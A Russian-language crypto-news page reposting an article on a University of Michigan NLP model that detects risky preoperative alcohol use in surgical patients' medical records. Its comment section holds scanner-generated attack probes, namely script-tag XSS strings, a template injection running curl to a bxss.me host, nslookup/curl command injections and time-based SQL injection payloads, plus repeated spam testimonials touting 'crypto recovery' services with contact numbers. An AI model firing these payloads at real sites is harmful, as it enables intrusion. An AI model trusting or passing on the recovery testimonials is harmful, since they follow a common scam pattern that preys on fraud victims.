Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9512 / Markets: 114689

Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

ИИ, алкоголь и хирургия

Опасность скрывается повсюду. Любой вид деятельности человека, будь то работа или развлечение, может быть источником больших проблем или даже летальных последствий. Звучит вполне пугающе и крайне пессимистично. Если же бояться всего на свете, то жизнь теряет смысл, но никто не запрещает применять осторожность там, где она необходима. А в рамках употребления алкоголя осторожность просто неотъемлема. Ученые из Мичиганского университета (Анн-Арбор, Мичиган, США) провели исследование, в котором предполагается, что использование искусственного интеллекта для сканирования медицинских карт хирургических пациентов на наличие признаков рискованного употребления алкоголя может помочь выявить тех, у кого употребление алкоголя повышает риск возникновения проблем во время и после операции. Как был настроен ИИ, как проходила его работа, и что нового ИИ рассказал? Ответы на эти вопросы мы найдем в докладе ученых.

Основа исследования

Алкоголь является наиболее часто используемым веществом, вызывающим привыкание, а рискованное употребление алкоголя в предоперационном периоде (т.е. > 2 стандартных порций алкоголя в день перед операцией) является одним из наиболее распространенных факторов хирургического риска. У пациентов, которые пьют сверх здоровых норм, в том числе с расстройствами, связанными с употреблением алкоголя, наблюдается повышенная частота инфекций, раневых и легочных осложнений, а также длительное пребывание в больнице после плановых хирургических процедур. Лица с рискованным употреблением алкоголя и расстройствами, связанными с употреблением алкоголя, используют наибольшую долю ресурсов здравоохранения после операции из-за осложнений, увеличения продолжительности пребывания в больнице и послеоперационных повторных госпитализаций.

В эпоху ограниченных ресурсов выявление пациентов с рискованным употреблением алкоголя может спасти жизни и снизить затраты. Однако пациенты с рискованным употреблением алкоголя остаются без внимания при хирургическом лечении. При своевременном выявлении лица из группы риска могут получить предоперационные вмешательства, а при необходимости – профилактику алкогольной абстиненции до или после операции. Однако скрининг на алкоголь часто не проводится, проводится слишком близко к дате операции или основывается на неверных вопросах, состоящих из одного пункта, что приводит к неполному выявлению или предвзятому выявлению рискованного употребления алкоголя. Проще говоря, практически все алкоголики не считают себя таковыми.

Помимо совершенствования проверенных методов скрининга, одним из способов устранения этого пробела в точной идентификации риска употребления алкоголя является использование существующих данных и технологий. Электронные медицинские записи (EHR от electronic health record) содержат весьма актуальные данные о состоянии здоровья в реальном мире, обновляемые в режиме реального времени для большого числа пациентов на протяжении многих лет, особенно в крупных интегрированных системах здравоохранения. Клинические записи могут содержать историю употребления алкоголя, данные проверки на алкоголь, подробную информацию о событиях, связанных с алкоголем, диагнозы и данные выставления счетов. Однако состояния, связанные с употреблением алкоголя, часто не диагностируются, в результате чего наиболее доступная информация в EHR, например, диагностические коды и списки проблем Международной классификации болезней (ICD от International Classification of Diseases), имеет ограниченную полезность. Таким образом, EHR не отражают истинную распространенность расстройств, связанных с употреблением алкоголя, или рискованного употребления алкоголя среди населения. Однако большая часть информации об алкоголе в клинических текстах доступна только посредством подробного ручного анализа таблиц, что отнимает много времени и неосуществимо для многих исследований и клинических сценариев. Полное использование данных об алкоголе в данных EHR требует инновационных методов.

Идеальным инструментом для извлечения значимой информации из неструктурированного клинического текста является обработка естественного языка (NLP от natural language processing). NLP — это область науки об искусственном интеллекте и машинном обучении, включающая вычислительные методы и техники, используемые для извлечения смысла из человеческого языка и текста. NLP охватывает множество областей понимания естественного языка, включая машинный перевод, синтаксический и семантический анализ, разрешение кореференций, обнаружение сущностей и анализ дискурса.

В данном труде представлена работа по созданию алгоритма на основе NLP для выявления рискованного употребления алкоголя среди хирургических пациентов с использованием существующих дооперационных данных EHR. Сюда входили клинические записи и другие источники клинических текстов за 3 года до операции, в том числе из стационарных, амбулаторных и отделений неотложной помощи.

Подготовка к исследованию

Ученые провели наблюдательное когортное исследование среди предоперационных пациентов, включенных в Мичиганскую геномную инициативу (MGI от Michigan Genomic Initiative).

Изображение №1

MGI набрала взрослых участников, которым назначена операция в Мичиганском медицинском центре, создав корпус данных сообщества пациентов, включая продольную электронную медицинскую информацию в одной когорте, доступной исследователям. На момент проведения исследования в MGI было зарегистрировано 61502 пациента. Как показано на изображении №1, пациенты были включены в когорту, если они были включены в когорту MGI в период с 29 мая 2012 по 17 апреля 2019 и перенесли операцию в течение 90 дней после включения в MGI (N = 53949). Те, у кого не было связи клинических записей и структурированных данных из MGI, были исключены. Из медицинской карты пациента ученые извлекли текстовые клинические записи за последние 3 года.

Трехлетний период был выбран для создания корпуса записей, охватывающих длительный, но относительно недавний период. Клинические текстовые записи включали амбулаторные и стационарные записи о приеме пациентов, прогрессе лечения, процедурах и выписке, а также письма, сообщения, лабораторные исследования и комментарии к ним. Эти записи были объединены в хронологическом порядке для создания единого документа для каждого пациента (в дальнейшем тексте он называется «картами пациентов»). В окончательный корпус данных вошли N = 53811 пациентов.

Основная цель исследования состоит в том, чтобы классифицировать дооперационных пациентов, используя текстовые клинические записи за последние три года, в один из двух классов – тех, у кого наблюдается «рискованное употребление алкоголя», которое также включает расстройства, связанные с употреблением алкоголя, или тех, у кого его нет. Рискованное употребление алкоголя определяется как сочетание нескольких факторов:

Предельные значения по количеству/частоте. Для женщин это определялось как употребление четырех или более стандартных напитков в любой день или восьми или более напитков в неделю. Для мужчин это определялось как пять или более порций алкоголя в любой день или 15 или более порций в неделю.

Предельные значения AUDIT-C. Также использовались стандартные пороговые баллы из проверенного метода скрининга на алкоголь, называемого «Тест-потребление для выявления расстройств, связанных с употреблением алкоголя» (AUDIT-C от Alcohol Use Disorders Identification Test-Consumption), который обычно используется перед операцией. Ученые использовали стандартный порог для рискованного употребления алкоголя: 3 и более баллов для женщин и 4 и более для мужчин.

Пьянство, расстройства, связанные с употреблением алкоголя, и другие текстовые индикаторы. Также были классифицированы случаи рискованного употребления алкоголя, если в записях пациентов указано прошлое или настоящее расстройство, связанное с употреблением алкоголя, или другие диагнозы, указывающие на основное расстройство, связанное с употреблением алкоголя (например, связанный с алкоголем цирроз печени), а также те записи пациентов, в которых упоминаются эпизоды пьянства и другие комментарии, указывающие на проблемы, связанные с проблемным употреблением алкоголя.

Следующий этап исследования был связан с созданием прототипа системы. Во-первых, ученые применили подход, основанный на ключевых словах, чтобы уловить контекстуальные сигналы, связанные с рискованным употреблением алкоголя, в клинических записях. Эти слова были заимствованы из Единой системы медицинского языка (UMLS от Unified Medical Language System) и охватывают как термины, описывающие модели или проблемы потребления алкоголя (например, abuse, addiction, binge, concern, dependence, excessive и heavy), так и состояние здоровья, и поведение, связанное с употреблением алкоголя (например, drunkenness, inebriety, insobriety, intemperance, intoxication). В список ключевых слов также были включены понятия, связанные с употреблением алкоголя, вызывающим тревогу и депрессию, а также дополнительные редкие слова, такие как dissoluteness, distraught, debauchery, dipsomania и bibulousness.

Список был показан трем экспертам по расстройствам, связанным с употреблением алкоголя (ACF, JM и GSW), которые предложили дополнительные часто используемые ключевые слова и фразы, связанные с алкоголем, в ЭМК, опираясь на свой клинический опыт и анализ историй болезни. Для поиска в записях пациентов по ключевым словам, связанным с алкоголем, использовалась поисковая система электронных медицинских записей (EMERSE от electronic medical record search engine). Этот список ключевых слов был дополнительно уточнен путем оценки их эффективности в выявлении дополнительных пациентов. Морфологические варианты ключевых слов были получены путем манипуляции суффиксами и добавлены в список ключевых слов.

В результате был составлен окончательный список из 36 ключевых слов, разделенных на категории, связанные с алкоголем, расстройствами, связанными с употреблением алкоголя, а также диагнозами или событиями, связанными с алкоголем. Также были собраны отрицательные и не относящиеся к делу фразы (например, спиртовые салфетки, изопропиловый спирт, вода и сок).

Конвейер NLP модели состоит из следующих этапов предварительной обработки, анализа текста и классификации сегментов.

Изображение №2

Во-первых, входные записи пациентов были сегментированы на небольшие связные текстовые фрагменты с использованием тегов XML, тегов форматирования примечаний и пустых строк. Разделы включают списки проблем, списки лекарств, инструкции для пациентов и структурированные разделы клинических записей (например, историю болезни пациента, оценку, план и т. д.). Текстовые сегменты далее разбиваются на предложения с использованием Natural Language ToolKit (NLTK). Знаки препинания и другая информация форматирования были сохранены или заменены специальными токенами, чтобы облегчить выполнение последующих задач.

Набор ключевых слов, выявленный при разработке прототипа, использовался для выявления «горячих точек» — записи сегментов с любым упоминанием ключевых слов, связанных с алкоголем.

В контекстном окне слов, окружающих «горячие точки», осуществляется поиск отрицаний и контекстных модификаторов, таких как хеджирующие слова («возможно», «вероятно», «исключать» и т. д.) или слова, указывающие, что употребление алкоголя не связано с алкоголем («выпить 8 унция воды с этим лекарством»).

Клинические записи часто включают шаблонный текст, который инструктирует пациентов не употреблять алкоголь перед операцией или во время приема лекарств, даже если пациент не подвергается высокому риску употребления алкоголя. Эти формы инструкций, соглашения между пациентом и поставщиком медицинских услуг и другие стандартизированные шаблонные текстовые сегменты удаляются и заменяются заполнителем, обозначающим удаление текста.

В записях пациентов ведется поиск явного упоминания пола пациента. Затем эта информация была подтверждена структурированными метаданными, чтобы обеспечить точность пороговых значений потребления алкоголя в зависимости от пола.

Число напитков, такое как количество (например, 1.6 унции), количество (например, семь банок пива), частота (например, 3 в день, 10 в неделю), идентифицируются и нормализуются. Единицы алкоголя, такие как пинты, банки и шоты, конвертируются в стандартные напитки США (1 напиток = 14 граммам чистого алкоголя), а дневные показатели конвертируются в еженедельные показатели. Поиск этих количеств осуществляется в контекстном окне, состоящем из определенного количества слов, следующих за соответствующим ключевым словом, связанным с алкоголем. Длина контекстного окна варьировалась для разных показателей употребления алкоголя, составляла от 3 до 8 слов и подбиралась эмпирически.

Упоминания о прошлом употреблении алкоголя или алкоголизме в контексте истории болезни пациента или в разделе истории болезни были идентифицированы и помечены как положительные в отношении рискованного употребления алкоголя.

Сегмент считался положительным, если доказательства соответствовали определенным качественным или количественным критериям, связанным с употреблением алкоголя, на основе гендерно-зависимых порогов рискованного употребления алкоголя в отношении количества, частоты, AUDIT-C и пьянства. Сегменты, указывающие на рискованное употребление алкоголя в прошлом, были помечены как положительные. Сегменты, относящиеся к семейному анамнезу, и сегменты с явным отрицанием были помечены как отрицательные.

Если какой-либо сегмент помечен как положительный в отношении рискованного употребления алкоголя, то пациент считается положительным. С другой стороны, если ни один из сегментов не был помечен как положительный, пациент был помечен как отрицательный.

Из окончательного массива данных N = 53811 пациентов случайным образом было выбрано 1200 записей пациентов, которые будут использоваться для исследования данных, разработки прототипа и обучения модели. Из этих 1200 записей была выбрана подгруппа из 500 записей пациентов с использованием ключевых слов, связанных с алкоголем, для создания обучающей подгруппы, помеченной золотым цветом. 500 записей пациентов были помечены вручную четырьмя экспертами-аннотаторами, так что каждая запись пациента была снабжена двойными аннотациями. Двое комментаторов были экспертами с клиническим образованием в области расстройств, связанных с употреблением алкоголя, а двое других прошли подготовку в области исследований алкоголя. Все аннотаторы имели доступ к решениям алгоритма, и когда они были не согласны с решениями алгоритма, они по возможности давали объяснения своим собственным решениям. Когда два аннотатора не согласились, третий эксперт по расстройствам, вызванным употреблением алкоголя, выступал в роли арбитра.

Для создания маркированного тестового набора 100 записей пациентов были выбраны случайным образом из оставшихся 52611 и были помечены алгоритмом. Они были выбраны для создания примерно сбалансированного набора положительных и отрицательных случаев. Эти случаи также были помечены четырьмя аннотаторами, группами в две пары, аналогичными аннотациям обучающего набора. Однако на этот раз аннотаторы помечали записи без метки алгоритма (слепая аннотация). Все споры рассматривались третьим экспертом по расстройствам, связанным с употреблением алкоголя.

Для сравнения ученые также классифицировали пациентов в наборе данных на основе общенациональной системы с использованием кодов ICD-9 и ICD-10 из электронных медицинских карт. Пациенты с любым кодом диагноза за последние 3 года из списка кодов, связанных с алкоголем, опубликованного в рамках программного обеспечения клинической классификации AHRQ (от Agency for Healthcare Research and Quality), считались помеченными как положительные благодаря этому альтернативному подходу. Этот подход имитирует современную практику выявления пациентов с алкогольными проблемами с использованием только диагностических кодов и повсеместно называется маркировкой на основе кодов ICD.

Маркировка, основанная на NLP, и маркировка на основе кода ICD сравнивались с экспертной оценкой 100 случаев в тестовом наборе. Это дало возможность напрямую оценить разницу в производительности современных диагностических кодов по сравнению с предложенным NLP подходом. Использование закодированных человеком данных в качестве золотых меток также позволило изучить, какой подход точно идентифицирует более рискованное употребление алкоголя (и по какому фактору). Он также подчеркнул ограничения отдельных моделей и последствия их использования для маркировки остальной части набора данных. Основными используемыми мерами оценки являются чувствительность, специфичность, прогностическая ценность положительного результата (PPV) и показатель F1, среднее гармоническое значение чувствительности и PPV. Все показатели варьируются от 0 до 1, причем более высокие цифры указывают на лучшую производительность.

Результаты исследования

Таблица №1: Демографические и клинические характеристики выборки.

Характеристики пациентов представлены в таблице №1. Участниками были 52.6% женщин (49% в аннотированной тестовой выборке), преимущественно белые (90.1%, 95% в аннотированной тестовой выборке) и неиспаноязычные (98.1%, 97% в аннотированной тестовой выборке). Средний возраст составил 53.6 года, и у 4.8% выборки за последние 3 года был диагностический код, указывающий на рискованное употребление алкоголя или расстройство, связанное с употреблением алкоголя.

Таблица №2: Сравнение эффективности подхода на основе кода ICD и подхода на основе NLP на тестовом наборе, помеченном человеком.

Используя набор данных для оценки тестов, ученые сравнили эффективность своего подхода NLP с подходом на основе кода ICD на тестовом наборе, отмеченном экспертами (таблица №2). Люди классифицировали 31 из 100 случаев как соответствующие критериям рискованного употребления алкоголя («положительные»), а 69 — как не соответствующие критериям рискованного употребления алкоголя («отрицательные»). Используя тот же набор тестов, помеченных человеком, алгоритм NLP пометил 38 из 100 случаев как положительные и пометил 62 случая как отрицательные. Коды ICD идентифицировали 16 случаев как положительные и 84 как отрицательные. Из 31 положительного случая, отмеченного человеком, NLP правильно идентифицировало 27, тогда как только 9 были правильно обнаружены с помощью кодов ICD. Подход, основанный на NLP, имел чувствительность 0.87, специфичность 0.84, PPV 0.71 и показатель F1 0.78. Подход на основе кода ICD имел чувствительность 0.29, специфичность — 0.90, а PPV — 0.56, что дает оценку F1 0.38.

Таблица №3: Подробная разбивка кодовой классификации NLP и ICD набора тестов, помеченных человеком.

В Таблице 3 показано более детальное сравнение того, как NLP и подход на основе кодов ICD классифицировали пациентов с учетом человеческой маркировки. Из 31 положительного случая NLP выявила 18 пациентов, которые были пропущены кодами ICD, тогда как коды ICD не выявили ни одного случая, пропущенного NLP.

Таблица №4: Сравнение эффективности кода ICD и подходов NLP на полной выборке.

Ученые также сравнили эффективность кодов NLP и ICD по всему набору данных из 53629 пациентов (удалены обучающие и тестовые случаи), а также долю полного набора данных, получившую положительную классификацию по каждому методу. В таблице 4 показано соответствие кода NLP и ICD 0 на полном отфильтрованном наборе данных. NLP классифицировало в общей сложности 7794 пациента как положительные на рискованное употребление алкоголя, тогда как код ICD классифицировал в общей сложности 2595 как положительные. Коды NLP и ICD согласовали положительную классификацию 1670 пациентов и 44910 отрицательных. Коды ICD дали 925 новых положительных результатов, при этом NLP 0 предоставила 6124 собственных положительных случая у пациентов. В целом, NLP классифицировал около 14.5% пациентов как положительные в отношении рискованного употребления алкоголя, тогда как код ICD дал 4.8% положительных оценок.

Для более детального ознакомления с нюансами исследования рекомендую заглянуть в доклад ученых.

Эпилог

В рассмотренном нами сегодня труде ученые создали систему, способную определять степень риска во время операционного вмешательства, вызванного употребление алкоголя пациента.

Главным действующим лицом работы данной системы был даже не человек, а ИИ. В ходе подготовительных и обучающих шагов ИИ обучался на базах данных из медицинских записей. Особое внимание ИИ уделял словам, которые или прямо, или косвенно указывают на факт злоупотребления алкоголем, как минимум перед проведением операции.

Как отмечают сами ученые, многие люди, которые регулярно пьют, не имеют проблем с алкоголем, а когда они это делают, им может никогда не быть поставлен официальный диагноз расстройства или зависимости, вызванного употреблением алкоголя, который хирургической бригаде было бы легко обнаружить в их медицинской карте.

Модель искусственного интеллекта обнаружила признаки рискованного употребления алкоголя в записях 87% пациентов, которых эксперты (люди) определили как злоупотребляющих алкоголем. При этом только 29% этих пациентов имели в списке диагнозов код диагноза, связанный с алкоголем. Таким образом, многие пациенты с более высоким риском осложнений ускользнули бы из поля зрения их хирургической бригады.

Далее ИИ получил доступ к медицинским данным около 53000 анонимных медицинских карт пациентов, собранных в рамках Мичиганской инициативы по геномике. В целом 15% пациентов соответствовали критериям модели искусственного интеллекта по сравнению с 5% пациентов с помощью диагностических кодов.

Новые данные показывают, что хирургические клиники, которые просто проверяют диагностические коды, указанные в картах поступающих пациентов, и отмечают такие, как расстройство, связанное с употреблением алкоголя, алкогольную зависимость или связанные с алкоголем заболевания печени, будут упускать из виду многих пациентов с повышенным риском. А ведь комбинировать операцию и алкоголь — это очень плохая идея.

Следовательно, разработанная методика позволяет выявлять людей из группы высокого риска в предоперационный период, ввиду их употребления алкоголя. В дальнейшем данную ИИ систему можно применять и для оценки других рисков, базирующихся на медицинских записях пациента.

Немного рекламы

Спасибо, что остаётесь с нами. Вам нравятся наши статьи? Хотите видеть больше интересных материалов? Поддержите нас, оформив заказ или порекомендовав знакомым, облачные VPS для разработчиков от $4.99, уникальный аналог entry-level серверов, который был придуман нами для Вас: Вся правда о VPS (KVM) E5-2697 v3 (6 Cores) 10GB DDR4 480GB SSD 1Gbps от $19 или как правильно делить сервер? (доступны варианты с RAID1 и RAID10, до 24 ядер и до 40GB DDR4).

Dell R730xd в 2 раза дешевле в дата-центре Maincubes Tier IV в Амстердаме? Только у нас 2 х Intel TetraDeca-Core Xeon 2x E5-2697v3 2.6GHz 14C 64GB DDR4 4x960GB SSD 1Gbps 100 ТВ от $199 в Нидерландах! Dell R420 — 2x E5-2430 2.2Ghz 6C 128GB DDR3 2x960GB SSD 1Gbps 100TB — от $99! Читайте о том Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?

Источник

Теги

Категория

Новости

Дата

19 янв. 2024 г.

09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
11.10.25 10:44 Tonerdomark

A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 19:53 Tonerdomark

A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
12.10.25 21:36 blessing

